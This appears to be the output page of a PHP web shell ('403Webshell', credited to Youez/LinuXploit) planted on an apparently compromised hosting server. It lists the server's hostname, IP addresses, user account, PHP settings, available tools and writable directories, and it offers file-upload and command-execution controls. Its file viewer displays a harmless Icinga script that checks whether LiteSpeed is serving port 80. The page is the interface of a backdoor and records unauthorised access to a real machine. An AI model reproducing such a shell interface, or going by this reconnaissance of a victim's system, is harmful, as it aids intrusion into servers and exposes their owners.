403Webshell
Server IP : 172.64.80.1  /  Your IP : 216.73.216.175
Web Server : LiteSpeed
System : Linux srv13.swhc.ca 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : hongluck ( 2522)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/check_litespeed.sh
#!/bin/bash

# Title: check_litespeed.sh
# Author: Mark T.
# Date: 2020-09-10
# Modified: 2020-09-28
# Desc: Icinga script - Checks if Litespeed is working web server.

_ISLITESPEED=$(netstat -ntpl | grep "\b0.0.0.0:80\b" | awk '{print $7}' | cut -d/ -f2)
if  [[ $_ISLITESPEED = litespeed ]]; then
	echo "OK - Litespeed is working web server."
	exit 0
elif  [[ $_ISLITESPEED = httpd ]]; then
	echo "WARN - Apache is working web server. Litespeed should be working web server."
	exit 1
else
	echo "CRITICAL - Web server possibly down. Litespeed should be working web server."
	exit 2
fi

Youez - 2016 - github.com/yon3zu
LinuXploit